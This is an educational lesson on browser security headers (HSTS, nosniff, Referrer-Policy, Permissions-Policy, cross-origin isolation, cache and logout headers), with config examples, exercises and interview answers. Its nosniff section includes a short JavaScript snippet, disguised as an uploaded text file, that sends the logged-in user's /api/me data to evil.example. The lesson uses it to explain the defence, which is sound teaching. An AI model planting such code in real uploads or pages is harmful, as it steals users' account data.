Security headers
A handful of response headers that switch on browser defenses your code can't build itself: force HTTPS, stop content sniffing, trim the Referer, turn off powerful features, and isolate your page from other origins.
The problem: defenses only the browser can apply
Picture a banking app at bank.example. The code is careful: inputs are escaped, cookies are HttpOnly and Secure, the API checks every token. Then a customer opens a laptop in a coffee shop and types bank.example into the address bar, without https://.
Older browsers send that first request over plain HTTP. Newer ones try HTTPS first but fall back to plain HTTP if that attempt fails. Either way, the server answers HTTP with a redirect to HTTPS, which is the right thing to do.
But the coffee shop's Wi-Fi is run by an attacker. The attacker makes the HTTPS attempt fail, answers the plain HTTP request first, and serves a perfect copy of the login page from their own machine. Nothing in the bank's code ever ran.
This is the kind of attack that careful application code can't stop. The weak moment happens inside the browser, before your page loads or after it leaves. The only fix is to tell the browser, ahead of time, how to behave. That is what security headers are: HTTP response headers that turn on defenses built into the browser.
What the headers in this lesson do
Each header closes one gap. Most are a single line on the response, cost nothing at runtime, and never change how a working page looks. A few can break things if you set them carelessly, which is why this lesson spends as much time on failure modes as on syntax.
Strict-Transport-Security(HSTS): always use HTTPS for this site, even if the user typeshttp://. Fixes the coffee shop attack.X-Content-Type-Options: nosniff: trust theContent-Typeheader, never guess from the bytes. Stops an uploaded "image" from running as a script.Referrer-Policy: decide how much of the current URL is sent to other sites in theRefererheader. Stops tokens and private paths in URLs from leaking.Permissions-Policy: turn off camera, microphone, geolocation, payment and other powerful features for your page and its iframes. Shrinks what a compromised script can do.Cross-Origin-Opener-Policy,Cross-Origin-Embedder-Policy,Cross-Origin-Resource-Policy: separate your page from other origins so side-channel attacks like Spectre can't read its memory. UnlocksSharedArrayBufferand precise timers.Cache-Control: no-storeandClear-Site-Data: keep private pages out of caches and wipe data when the user logs out.
Two headers you may expect are not here in depth, because they have their own lessons. Content-Security-Policy (CSP) controls which scripts and resources may load: see the CSP lesson. CORS headers like Access-Control-Allow-Origin relax the same-origin policy for APIs: see the CORS lesson.
Framing rules (X-Frame-Options and frame-ancestors) live in the clickjacking lesson. This lesson covers everything around them.
Why not just fix it in code?
Some of these problems sound like they could be fixed in JavaScript. They can't, for three reasons.
First, timing: the HSTS attack happens before any of your code loads. Second, scope: the browser decides how to treat a response (as a script, as an image, in which process) before your code sees it. Third, trust: if an attacker can run code in your page, any defense written in that same page can be turned off. A header is read by the browser itself, from a place an injected script can't reach.
That is the mental shift: security headers are instructions to the browser, not features of your app. The server says "here is the response, and here are the rules for handling it". The browser enforces the rules even when the page's own code is compromised.
Check your understanding · Exercise 1
A user types shop.example (no scheme) on hotel Wi-Fi. The shop redirects HTTP to HTTPS and sets every cookie with Secure. Which statements are true? Select all that apply.
The mental model: a rule sheet stapled to every response
Think of each HTTP response as a parcel. The body is what's inside. The headers are the label on the box.
Most labels describe the contents: Content-Type: text/html, Content-Length: 5120. Security headers are a different kind of label: a short rule sheet that says "handle this parcel in this way".
The browser is the courier who reads the rule sheet. It doesn't matter what the contents later try to do: if the sheet says "no camera", a script inside can ask for the camera all day and the courier says no. That is why these headers still work after an attacker gets code into your page.
Four groups of rules
It helps to sort the headers by what they protect, because that tells you when the browser reads them and how far each one reaches.
| Group | Headers | Protects | Remembered for |
|---|---|---|---|
| Transport | Strict-Transport-Security | The connection: only HTTPS, no click-through on bad certificates | The whole host, for max-age seconds |
| Content handling | X-Content-Type-Options, Referrer-Policy, Permissions-Policy | How one response is used, what it shares, and what it may do | Only this response (or the document it creates) |
| Isolation | Cross-Origin-Opener-Policy, Cross-Origin-Embedder-Policy, Cross-Origin-Resource-Policy | Which other origins can share a process, a window link, or your resources | This document, or this resource |
| Private data | Cache-Control: no-store, Clear-Site-Data | Copies of one user's data in caches and storage | This response; Clear-Site-Data acts once, when it arrives |
The last column is the one people miss. HSTS is the only header in this lesson the browser remembers: one response sets a rule for every later request to that host. Every other header only applies to the response it arrives on. So a Permissions-Policy on your home page does nothing for your settings page: every HTML response needs its own copy.
When the browser reads each one
Each header acts at a different moment in the life of a page. Some act before a single byte is sent, some while the response is parsed, some for as long as the page stays open. Follow one page load from the address bar to the logout button:
Clear-Site-Data is shortened to fit.- Before the request. The browser checks its HSTS list. If the host is there,
http://becomeshttps://without asking the network. - When the response arrives. COOP decides whether the new page shares a browsing context group (a set of windows that can reach each other and may share a process) with the page that opened it.
nosniffchecks that the type matches how the response is used. - While the page runs. COEP checks each subresource the page loads.
Permissions-Policyanswers every call to a powerful API.Referrer-Policytrims theRefereron each outgoing request and link. - When the page is stored or ends.
Cache-Control: no-storekeeps it out of caches;Clear-Site-Dataon the logout response wipes what the site left behind.
Why they are opt-in
If these protections are so useful, why doesn't the browser apply them to every site? Because each one breaks something some old site relies on.
A site that still serves one subdomain over HTTP breaks under HSTS. A site that serves scripts as text/plain breaks under nosniff. A site that embeds a widget from another origin breaks under COEP. Browsers can't know which sites are ready, so the site has to say so.
Over time, the safest settings become defaults. strict-origin-when-cross-origin became the default Referrer-Policy in 2020 and 2021, and cookies became SameSite=Lax by default in Chromium. But you can't count on defaults across every browser and in-app web view, so you still send the header.
Check your understanding · Exercise 2
Your server sends security headers only on the home page response, /. A user goes straight to /account from a bookmark. Which protections still apply on /account? Select all that apply.
HSTS: HTTPS, every time, before the first byte
Back to the coffee shop. The attack has a name: SSL stripping. The attacker sits between the user and the internet, lets the first plain HTTP request reach them, and never forwards the redirect to HTTPS.
They talk HTTPS to the real bank and HTTP to the user, copying everything in between. The address bar shows http://bank.example, and most people never look.
Strict-Transport-Security (HSTS, HTTP Strict Transport Security) removes the plain HTTP request. Once the browser has seen the header, it treats the host as HTTPS-only. Typed addresses, old bookmarks, and http:// links are all rewritten to https:// inside the browser, and Chrome DevTools shows this as a 307 Internal Redirect that never touched the network.
The three directives
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
max-ageis how long, in seconds, the browser remembers the rule. Each new response with the header restarts the clock.31536000is one year,63072000two years.max-age=0tells the browser to forget the rule, which is how you back out.includeSubDomainsapplies the rule to every subdomain too:api.bank.example,mail.bank.example, and the forgottenold-promo.bank.examplethat still runs on HTTP. Without it, an attacker can strip a subdomain and use it to set cookies for the parent domain.preloadis not part of the HSTS standard (RFC 6797). It is a signal to the preload list maintainers that you agree to be added. On its own it does nothing.
Two rules surprise people. First, the browser ignores the header if it arrives over plain HTTP, because an attacker could inject it. Send it on HTTPS responses only.
Second, on an HSTS host the browser won't let the user click past a certificate error. That is a feature: the "proceed anyway" button is exactly what an attacker with a fake certificate hopes the user will press.
The first-visit gap and the preload list
HSTS has one hole: the browser has to see the header once. A brand-new laptop, a cleared browser, or a rule whose max-age ran out all start unprotected. The HSTS preload list closes the hole. It is a list of domains compiled into Chrome, and shared with Firefox, Safari, and Edge, that are HTTPS-only from the very first request.
To be accepted at hstspreload.org, a domain must serve a valid certificate, redirect HTTP to HTTPS on the same host, serve every subdomain over HTTPS, and send the header on the base domain with max-age of at least one year, includeSubDomains, and preload. Some whole top-level domains are preloaded: every .app and .dev site is HTTPS-only by design.
Why preloading is hard to undo
The preload list ships inside browser releases. Getting removed means a request, then waiting for new browser versions to ship and for users to update: in practice months, and some users run old browsers for years. During that time, any subdomain that can't do HTTPS simply doesn't load. There is no button the user can press.
- An internal tool at
wiki.corp.exampleon HTTP with a self-signed certificate stops working for every employee. - A marketing team points
promo.exampleat a vendor that only serves HTTP. It's unreachable. - A company sells a subdomain's traffic to a partner who can't get a certificate in time. Same result.
So roll out in stages and let real traffic tell you whether anything breaks. Raise max-age only after a full period at the current value passes with no complaints.
Check your understanding · Exercise 3
A team sends Strict-Transport-Security: max-age=63072000; includeSubDomains; preload from example.com and submits it to the preload list. Which of these are real consequences? Select all that apply.
X-Content-Type-Options: no guessing what a response is
Every response says what it is in Content-Type: text/html, application/json, image/png. In the early web, servers got this wrong all the time, so browsers learned to look at the bytes and guess.
That guessing is called MIME sniffing (MIME types are the names like text/html). It made broken sites work. It also made a class of attacks possible.
How sniffing becomes an attack
Take a forum at forum.example that lets users upload avatars and files. The files are served from the same origin, at URLs like /uploads/8812.txt. An attacker uploads a file that is plain text to the server but is valid JavaScript to a browser:
// uploaded as notes.txt, served as text/plain
fetch("/api/me").then(r => r.json())
.then(me => navigator.sendBeacon("https://evil.example/c", JSON.stringify(me)));
Then, through a small HTML injection somewhere on the site, they add script src="/uploads/8812.txt". The file comes from the forum's own origin, so a CSP with script-src 'self' allows it. Without nosniff, many browsers have been willing to run a text/plain response as a script. The upload becomes code that runs as the logged-in user.
With X-Content-Type-Options: nosniff, the browser refuses. A response used by a script element must have a JavaScript type such as text/javascript, and one used as a stylesheet must be text/css. Anything else is blocked, with a console error that names the wrong type.
nosniff is the check that cares what the response says it is.What it does and doesn't do
- Blocks scripts and styles with the wrong type. This is the main effect, and every current browser enforces it.
- Works per response. The header has to be on the script or style response itself, not on the page that loads it.
- Helps cross-origin read blocking. When another site tries to load your JSON or HTML as an image or script, a correct
Content-Typeplusnosniffhelps the browser drop the body before it ever reaches that site's process. - Does not check images or fonts strictly. Browsers still sniff image formats;
nosniffis about not running data as code.
The only way nosniff hurts is if your own server sends wrong types. A legacy CDN that serves .js files as application/octet-stream, or an old API that returns JSONP as text/plain, breaks. The fix is to correct the type, which you want anyway.
Serving user uploads safely
nosniff is one layer. User files deserve three more, because they are the most common way attacker-controlled bytes end up on your origin:
- Serve them from a separate origin, such as
usercontent.example. Even if something runs there, it can't read your cookies or call your API as the user. Google and GitHub do this with their own content domains. - Set the real type, or
application/octet-streamwithContent-Disposition: attachmentto force a download for anything you don't recognise. Never echo a type the uploader chose. - Never serve uploads as
text/htmlorimage/svg+xmlinline from your main origin. SVG is an image format that can contain scripts.
Check your understanding · Exercise 4
Your app sends X-Content-Type-Options: nosniff on every response. Which of these will the browser now block? Select all that apply.
Referrer-Policy: what your URLs tell other sites
When a page loads an image, a script, or a font, or when the user clicks a link, the browser can tell the destination where the request came from. It does this with the Referer header (the misspelling is part of the HTTP standard; the policy header spells it correctly). It is useful for analytics and for spotting hotlinks. It is also a leak.
What leaks through the Referer
URLs carry more than people think. A password reset link: https://shop.example/reset?token=9f2c.... A search: https://clinic.example/search?q=hiv+test. An internal page: https://admin.shop.example/orders/10023/refund.
If any of those pages loads a third-party analytics script or the user clicks an outbound link, a full Referer hands the whole URL, token and all, to someone else.
The reset token case is the classic. The reset page shows a help link to a support site. The user clicks it before resetting. The support site's logs now hold a working reset token for the user's account.
The eight values
Referrer-Policy picks how much of the URL to send, based on two questions: is the destination the same origin or another one, and is the request going from HTTPS down to HTTP (a downgrade)?
| Policy | Same origin | Cross origin, HTTPS | HTTPS to HTTP |
|---|---|---|---|
no-referrer | nothing | nothing | nothing |
same-origin | full URL | nothing | nothing |
origin | origin only | origin only | origin only |
strict-origin | origin only | origin only | nothing |
origin-when-cross-origin | full URL | origin only | origin only |
strict-origin-when-cross-origin (default) | full URL | origin only | nothing |
no-referrer-when-downgrade | full URL | full URL | nothing |
unsafe-url | full URL | full URL | full URL |
"Origin only" means the scheme, host, and port, like https://shop.example/: enough for a partner to know traffic came from your site, never the path or query. Try the policies on a few requests below to see exactly what each destination receives.
The default changed, but set it anyway
For years the default was no-referrer-when-downgrade, which sent the full URL to every HTTPS site. Chrome switched the default to strict-origin-when-cross-origin in version 85 (2020) and Firefox in version 87 (2021). Safari trims cross-site referrers to the origin as part of its tracking prevention. So most users already get a safe default.
Set the header anyway. It documents your intent, it covers older browsers and in-app web views, and it lets you go stricter on pages that need it. Most sites set strict-origin-when-cross-origin globally and no-referrer on pages with secrets in the URL.
Finer control in HTML
- Per element:
img referrerpolicy="no-referrer"ora referrerpolicy="origin"overrides the page policy for one request. - Per link:
a rel="noreferrer"sends noRefererand also impliesnoopener, so the new tab can't reach back throughwindow.opener. - Per document in a meta tag:
meta name="referrer" content="no-referrer"works when you can't set headers, unlike some other headers in this lesson.
Check your understanding · Exercise 5
A page at https://shop.example/reset?token=abc has the default strict-origin-when-cross-origin policy. Which statements are true? Select all that apply.
Permissions-Policy: switch off what you don't use
Browsers give pages access to powerful features: camera, microphone, location, payments, USB devices, fullscreen, autoplay with sound. Most ask the user first. But a prompt that says "bank.example wants to use your camera" is persuasive, because the user trusts bank.example. They can't tell that the request came from a compromised chat widget, not from the bank.
Permissions-Policy lets the site decide, before any script runs, which features can even be requested, and by whom. A feature that is off fails at once: the API throws or rejects, and the user never sees a prompt. Nobody can switch it back on from inside the page.
Reading the syntax
Permissions-Policy: camera=(), microphone=(), geolocation=(self),
payment=(self "https://pay.example"), fullscreen=*
feature=(): an empty list. Nobody may use it: not your page, not any frame.feature=(self): your own origin, in the top page and same-origin frames.feature=(self "https://pay.example"): your origin plus a frame from that origin, if the frame is also granted the feature withallow.feature=*: any origin may use it, as long as the embedding page grants it to the frame.
The header is a ceiling for the page and everything inside it. Each feature also has a default allowlist, and for the powerful ones (camera, microphone, geolocation, payment) the default is self: your own page may ask, cross-origin iframes may not unless the iframe tag grants it with allow. The clickjacking and iframes lesson covers the allow attribute in depth. Here, the thing to remember is that a frame needs both: your header must permit its origin, and its allow attribute must grant the feature.
allow attribute. Either one alone is not enough.What to turn off
Start from the features your product actually uses and turn everything else off. A typical shop uses payment and maybe geolocation for store finders. It never needs camera, microphone, usb, serial, bluetooth, midi, or display-capture. Listing them with () costs a few bytes and removes a whole class of abuse.
Some features matter for performance and UX rather than privacy. autoplay=() stops any frame, your own page included, from autoplaying media with sound. sync-xhr=() stops any script on the page from making synchronous XMLHttpRequest calls that freeze the main thread.
Browser support and the old name
Chromium browsers (Chrome, Edge, Opera, Samsung Internet) enforce the header. Firefox and Safari, as of 2025, support the iframe allow attribute but not the full header, so the header is a strong layer for most of your users and not a guarantee for all. The older name was Feature-Policy, with a different syntax (camera 'none'). It still works in places but is deprecated: send Permissions-Policy.
Check your understanding · Exercise 6
Your page sends Permissions-Policy: camera=(), geolocation=(self) and embeds iframe src="https://maps.example" allow="geolocation". Which are true? Select all that apply.
COOP, COEP, and CORP: cross-origin isolation
In January 2018, researchers published Spectre: a family of attacks where code reads memory it should never see by timing how fast the CPU accesses data. In a browser, that meant JavaScript on evil.example could, in theory, read anything else in the same process: another site's page, or a cross-origin image or JSON response it had loaded. All it needed was a very precise clock.
Browsers answered in two ways. They moved sites into separate processes (site isolation, covered in the browser architecture lesson). And they made precise clocks harder to get: performance.now() was coarsened, and SharedArrayBuffer, which a second thread can turn into a very precise timer, was switched off. It came back only for pages that prove they are cross-origin isolated.
What isolation unlocks
SharedArrayBuffer: memory shared between the page and its workers. WebAssembly threads need it, so it matters for video editors, image tools, games, in-browser databases, and IDEs.- Finer timers: Chromium gives
performance.now()5 microsecond resolution in isolated pages, against 100 microseconds otherwise. Profilers and audio tools care. performance.measureUserAgentSpecificMemory(): the memory used by the page and its workers, for finding leaks in production. Chromium only.
You check it with one flag: self.crossOriginIsolated is true when the page is isolated. Two headers on the HTML response turn it on, and a third header on your resources makes them loadable under it.
COOP: who can share my window group
Cross-Origin-Opener-Policy controls the link between your page and windows it opens or that opened it. Normally a popup and its opener share a browsing context group: they can reach each other through window.opener and the return value of window.open, and may share a process.
unsafe-none(default): no separation.same-origin-allow-popups: a cross-origin page that opens yours loses its handle, but popups you open keep theirs. Login and payment popups that post back still work. A good default even if you never need isolation.same-origin: full separation. Only same-origin pages with the same policy share your group. Required for isolation.
COOP also stops a class of attacks called XS-Leaks: a malicious page opens yours with window.open, then probes it (counting frames.length, watching navigations) to learn whether the user is logged in or what they searched. With same-origin, the attacker's handle points at nothing useful.
COEP: everything I load has agreed
Cross-Origin-Embedder-Policy is about what your page loads. Under isolation, your process could read every byte of every resource it loads. So the browser insists that each cross-origin resource has agreed to be loaded, in one of two ways: it is served with CORS (the crossorigin attribute plus Access-Control-Allow-Origin), or it sends a Cross-Origin-Resource-Policy header that allows your origin.
require-corp, a third party that sends neither CORS nor CORP ends at the bottom box. credentialless takes the side exit, at the price of no cookies.This is where isolation gets expensive. Your own files are easy. Third-party images, ad scripts, embedded videos, and avatar hosts often send neither CORS nor CORP, and under require-corp they simply fail to load, with a console error and a broken image. Cross-origin iframes need their own COEP and CORP headers too.
CORP: who may load my resource
Cross-Origin-Resource-Policy is the resource's side of the deal. It goes on images, scripts, fonts, and API responses, and it says who may embed them: same-origin, same-site, or cross-origin. It also protects you without any isolation: CORP: same-site on your private API stops other sites from pulling those responses into their process with an img or script tag at all.
Decision How strict should COEP be?
What we pick: Most content sites and dashboards don't need SharedArrayBuffer, so take the third option. Apps built on WebAssembly threads (editors, design tools, in-browser databases) need isolation: start with credentialless where browsers support it, serve every first-party asset with CORP, and move auth-dependent embeds to CORS.
Check your understanding · Exercise 7
A video editor sends Cross-Origin-Opener-Policy: same-origin and Cross-Origin-Embedder-Policy: require-corp on /editor. Which are true? Select all that apply.
Private pages, logout, and headers to retire
Two more headers protect the user's data after it reaches the browser: one keeps private pages out of caches, the other wipes the site's data on logout. Then there is a short list of headers you will still see in old configs and should remove or neutralise.
Cache-Control for sensitive pages
A bank statement page, an inbox, an admin screen: these responses are for one user at one moment. If a shared cache (a CDN or a company proxy) stores one, the next person can be served another user's page. If the browser stores it, the next person on a shared computer can press Back after logout and read it.
Cache-Control: no-store
no-store tells every cache not to keep a copy at all. private is weaker: it lets the browser cache the page but forbids shared caches. no-cache is not what it sounds like: it allows storing and only forces revalidation before reuse. The HTTP caching lesson covers these directives in depth; for security, the rule is no-store for private pages and private at the very least for anything per-user.
There is a cost. For years, pages with no-store were kept out of the back/forward cache (bfcache), so Back reloaded them from the network instead of being instant. In 2025 Chrome began letting most no-store pages in, but it evicts them if the site's cookies change while cached, for example after a logout. Other browsers may still refuse them, so use no-store on the pages that really are private, not on the whole site.
Clear-Site-Data on logout
Logging out usually deletes the session cookie. But the browser still holds cached API responses, localStorage drafts, IndexedDB rows, service worker caches, and maybe a second open tab still showing the inbox. On a shared or lost device, all of that is readable.
HTTP/1.1 303 See Other
Location: /signed-out
Clear-Site-Data: "cache", "cookies", "storage"
"cookies": removes cookies for the site, which signs the user out everywhere on that site, including subdomains."storage": clearslocalStorage,sessionStorage, IndexedDB, and service worker registrations."cache": clears the HTTP cache for the site."executionContexts": was meant to reload open tabs of the site, but no current browser supports it."*"means all of the types.
The header only works on HTTPS responses. Chrome, Firefox, and Safari (since version 17) all support it, but details differ between versions and older browsers ignore it. So keep your logout code doing the obvious things too: delete the session on the server, clear in-memory state, and tell other tabs with a BroadcastChannel message. "cache" can stall Chrome for seconds, so some sites send only "cookies", "storage".
Headers to retire
X-Frame-Options stays only as a fallback, because CSP frame-ancestors wins wherever both are present.X-XSS-Protectionturned on built-in XSS filters in old Chrome, Edge, and Internet Explorer. The filters were removed (Chrome dropped its XSS Auditor in 2019) because attackers could abuse them to switch off legitimate scripts and to leak data. Omit the header, or sendX-XSS-Protection: 0to make sure any old browser keeps the filter off. Never send1; mode=blocktoday.Public-Key-Pins(HPKP) pinned a site to specific certificate keys. A mistake, or an attacker who briefly controlled the site, could lock every visitor out for the pin's lifetime. Chrome dropped it in 2018, and no current browser supports it.Expect-CTasked browsers to require Certificate Transparency logs for your certificate. Major browsers now require that for publicly trusted certificates anyway, so the header does nothing and is deprecated.X-Frame-Optionsis still useful as a fallback, but CSPframe-ancestorsreplaces it in every current browser. See the clickjacking lesson for how the two interact.
Check your understanding · Exercise 8
A user signs out of a webmail app on a library computer. Which steps make it hard for the next user to read the mail? Select all that apply.
Where to set headers and how to roll them out
Every header in this lesson only works if it's on the right responses. The most common real-world failure isn't a wrong value: it's a header that is on the home page but missing on error pages, on the API, on static files, or on the new route someone added last week. So the first design question is where the headers live.
Decision Which layer should own the security headers?
What we pick: Set the site-wide baseline (HSTS, nosniff, Referrer-Policy, Permissions-Policy, COOP) at the outermost layer every response passes through, usually the CDN. Set per-route headers (CSP with nonces, COEP on isolated pages, no-store on private pages) in the app. Then test the real responses, not the config.
Two real configs
// next.config.js
const baseline = [
{ key: "Strict-Transport-Security", value: "max-age=63072000; includeSubDomains; preload" },
{ key: "X-Content-Type-Options", value: "nosniff" },
{ key: "Referrer-Policy", value: "strict-origin-when-cross-origin" },
{ key: "Permissions-Policy", value: "camera=(), microphone=(), geolocation=()" },
{ key: "Cross-Origin-Opener-Policy", value: "same-origin-allow-popups" },
];
module.exports = {
async headers() {
return [
{ source: "/:path*", headers: baseline },
{ source: "/editor/:path*", headers: [
{ key: "Cross-Origin-Opener-Policy", value: "same-origin" },
{ key: "Cross-Origin-Embedder-Policy", value: "credentialless" },
] },
];
},
};
# nginx: "always" adds the header to 4xx and 5xx responses too
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
always, an error page goes out with none of these.Try before you enforce
The two headers most likely to break things have a report-only mode. Cross-Origin-Embedder-Policy-Report-Only and Cross-Origin-Opener-Policy-Report-Only change nothing for the user, but tell the browser to send a report for every resource or popup that would have broken. Point them at an endpoint named in the Reporting-Endpoints header, run them for a week or two, and fix or replace what shows up before you switch to enforcing. Not every browser sends these reports (Chromium does), but reports from one engine are enough to find most of what would break.
Reporting-Endpoints: security="https://shop.example/reports"
Cross-Origin-Embedder-Policy-Report-Only: require-corp; report-to="security"
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="security"
HSTS has no report-only mode, which is why its rollout uses short max-age values instead. Permissions-Policy has no report-only header in wide use either, but it is safe to roll out feature by feature, because a feature you never call can't break.
Lab: toggle the headers and watch what changes
The lab below is one response from a photo editing app. Switch each header on or off, and pick a value where there's a choice.
The left column shows which attacks the current set blocks. The right column shows which features break. Try to find the set that blocks the most without breaking what the app needs.
Testing what actually ships
- Read the real response. DevTools Network panel, or
curl -sI https://shop.example/some/page. Check an HTML page, a JS file, an API response, and a 404. - Scan it. Mozilla's HTTP Observatory, now on MDN, grades a site's headers and explains each finding.
- Test it in CI. A small test that fetches a few URLs from a preview deploy and asserts the headers are present stops regressions when someone moves a route or changes the CDN config.
Check your understanding · Exercise 9
Your app sets headers in Express middleware. Static assets are served from a storage bucket through the CDN, and the CDN serves its own error pages. Where are headers likely missing? Select all that apply.
A checklist, and using it in an interview
Here is a sample header set for a typical logged-in web app: a dashboard with a few third-party scripts, a payment iframe, and no need for SharedArrayBuffer. Read each line against the chapter that explains it.
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
Content-Security-Policy: script-src 'nonce-r4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none'; frame-ancestors 'self'
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=(self "https://pay.example")
Cross-Origin-Opener-Policy: same-origin-allow-popups
Cross-Origin-Resource-Policy: same-site
X-Frame-Options: SAMEORIGIN
Cache-Control: no-store
Cache-Control: no-store goes on private pages only.The checklist
| Check | Value | Watch out for |
|---|---|---|
| HTTPS only | Strict-Transport-Security with max-age of 1 to 2 years | Every subdomain on HTTPS before includeSubDomains and preload |
| No type guessing | X-Content-Type-Options: nosniff on every response | Static files served outside your app |
| URLs stay private | Referrer-Policy: strict-origin-when-cross-origin, no-referrer on secret URLs | Tokens in URLs leak through logs anyway |
| Features off | Permissions-Policy listing every unused feature as () | Firefox and Safari don't enforce the header |
| Window separation | COOP: same-origin-allow-popups site-wide | same-origin breaks cross-origin popups |
| Isolation, if needed | COOP: same-origin plus COEP: require-corp or credentialless | Third-party embeds without CORP or CORS |
| Resources protected | CORP: same-site on private API and asset responses | Assets you share with partners need cross-origin |
| Private pages | Cache-Control: no-store, Clear-Site-Data on logout | Lost bfcache on those pages |
| Old headers | Remove X-XSS-Protection (or 0), Expect-CT, Public-Key-Pins, Feature-Policy | Copied configs from old blog posts |
In real products
- Google puts whole top-level domains like
.appand.devon the preload list, so every site on them is HTTPS-only from the first request. - User content on separate domains: GitHub serves raw files from
githubusercontent.comand Google fromgoogleusercontent.com, so an uploaded file can never run on the main origin. - WebAssembly-heavy apps such as Photoshop on the web and StackBlitz's in-browser Node.js runtime (WebContainers) use threads, so they need cross-origin isolation for
SharedArrayBuffer. - Frameworks ship baselines: Helmet for Express sets most of this lesson's headers by default, including
X-XSS-Protection: 0.
Bringing it up in a system design interview
Security headers rarely deserve their own section in a frontend system design interview, but they are a quick way to show depth when the interviewer asks about security or non-functional requirements. Name the threat, then the header, then the trade-off. Thirty seconds is usually enough.
- Junior and mid-level: name HSTS,
nosniff,Referrer-Policy, CSP, and frame protection, and say where they're set (CDN or middleware, on every response). - Senior: add the rollout story (HSTS
max-agestages, preload risks), per-route headers (no-storeon private pages, COEP only where needed), and testing in CI. - Staff: tie headers to architecture: user uploads on a separate origin, isolation as a requirement for WebAssembly threads and what it costs third-party embeds, report-only rollouts with a reporting endpoint, and owning headers in one shared layer across teams.
Check your understanding · Exercise 10
A team copies the sample header set above onto a news site that embeds YouTube videos, social posts, and ads, and considers adding more. Which choices need a second look? Select all that apply.
Summary
- Security headers are opt-in rules the browser enforces on your behalf, even when your page's own code is compromised. They are defense in depth, not a replacement for fixing bugs.
- HSTS is the only one the browser remembers per host. Every other header must be on every response, which is why they belong in a layer every response passes through.
- Roll out HSTS in stages; add
includeSubDomainsandpreloadonly after every subdomain works over HTTPS, because preload removal takes months. - Send
nosniffeverywhere,Referrer-Policy: strict-origin-when-cross-originas the baseline, and aPermissions-Policythat turns off every feature you don't use. COOP: same-origin-allow-popupsandCORPon your resources are cheap. Full cross-origin isolation (COOP plus COEP) unlocksSharedArrayBufferand precise timers but can break third-party embeds; isolate only the routes that need it.- Private pages get
Cache-Control: no-store; logout sendsClear-Site-Dataand invalidates the session on the server. - Retire
X-XSS-Protection(or set0),Expect-CT,Public-Key-Pins, andFeature-Policy. Test real responses in CI, including static files and error pages.
In the interview
Questions interviewers ask about this. Answer each out loud first, then compare.
Question 1
What does HSTS protect against, and why is the preload list both useful and risky?
HSTS stops SSL stripping: an attacker on the network answering the first plain HTTP request and keeping the user on a fake HTTP site. After the browser sees Strict-Transport-Security over HTTPS, it rewrites every http:// request to that host to https:// locally, for max-age seconds, and blocks clicking past certificate errors.
The header can't protect the very first visit. The preload list fixes that by building the domain into browsers. The risk is that it's slow to undo: removal waits for browser releases, and with includeSubDomains any subdomain without working HTTPS becomes unreachable. So I'd roll out with short max-age values first, audit every subdomain, and only then preload.
Question 2
Why send X-Content-Type-Options: nosniff if your server already sets correct content types?
Correct types on your own files aren't the threat. The threat is a response you don't fully control, like a user upload, being pulled into a page as a script or stylesheet. Without nosniff, a browser may run a text/plain file as JavaScript, and since it's same-origin, a CSP with 'self' lets it through.
With nosniff, scripts must have a JavaScript type and styles must be text/css. It costs nothing on a correct site, so it goes on every response. I'd still serve uploads from a separate origin as the main defense.
Question 3
A product team needs SharedArrayBuffer for a WebAssembly video encoder. What do you change, and what breaks?
The page has to be cross-origin isolated: Cross-Origin-Opener-Policy: same-origin and Cross-Origin-Embedder-Policy on the HTML response, then check self.crossOriginIsolated. COOP severs links to cross-origin windows, so a sign-in popup that posts back through window.opener breaks. COEP require-corp blocks any cross-origin resource without CORP or CORS, so third-party images, fonts, and embeds may fail.
To limit the damage I'd isolate only the editor route, send CORP on all our own assets, prefer COEP: credentialless where supported so public third-party resources still load without cookies, and run both headers in report-only mode first to find what would break.
Question 4
How would you make sure security headers are on every response in a large app with many teams?
Put the baseline at the outermost layer every response passes through, usually the CDN or edge, so static files, error pages, and new routes get it automatically. Per-route headers like CSP nonces, no-store, and COEP stay in the app, next to the code they protect.
Then test the output, not the config: a CI check that requests an HTML page, a JS file, an API response, and a 404 from a preview deploy and asserts the headers. Watch out for layer-specific traps such as nginx dropping add_header on error responses without always.
Question 5
What should happen at logout from a security point of view, beyond deleting the cookie?
Invalidate the session on the server so a copied cookie stops working. Send Clear-Site-Data: "cookies", "storage" (and "cache" if the cache may hold private responses) on the logout response, to wipe local storage, IndexedDB, and service workers. Tell other open tabs with a BroadcastChannel message so they drop their in-memory state.
Before logout even happens, private pages should send Cache-Control: no-store, so nothing personal is in the disk cache or a shared cache in the first place.
Practice it
These design problems lean on security headers.
References
- MDN: Strict-Transport-Security
- HSTS preload list submission Requirements and the removal process.
- MDN: X-Content-Type-Options
- MDN: Referrer-Policy
- MDN: Permissions-Policy
- web.dev: Making your website cross-origin isolated using COOP and COEP
- web.dev: Why you need cross-origin isolated for powerful features
- Chrome: back/forward cache for Cache-Control: no-store pages When Chrome caches
no-storepages, and when it evicts them. - MDN: Clear-Site-Data
- OWASP HTTP Headers Cheat Sheet
Read next
- Content Security PolicyA response header that tells the browser which scripts, frames, and connections a page may use, so an injected script is blocked even when an XSS bug slips through.
- CORSThe rules that let a page read responses from another origin, and the headers a server sends to allow it: a browser feature that relaxes the same-origin policy to protect users' data, not a wall that protects your server.
- Clickjacking and iframesIframes power embeds, payment fields, and widgets, and also let an attacker hide your page under a fake one to steal a click: control both directions with framing headers, the sandbox attribute, and checked postMessage.
- Cross-site scripting (XSS)Cross-site scripting is when text from outside your app ends up running as code inside your page, with every power your own code has: the most common and most damaging frontend security bug, and the one frontend engineers own most directly.
- Authentication and token storageHow a web app proves who the user is on every request after login: sessions or tokens, where the proof lives in the browser, how it is refreshed and revoked, and how OAuth with PKCE and OIDC fit in.
- From URL to pixelsEverything that happens between pressing Enter and seeing a page: DNS, TCP, TLS, the HTTP exchange, redirects, parsing, and subresources, with where the time goes on a real phone, so you know which part to fix when a page is slow.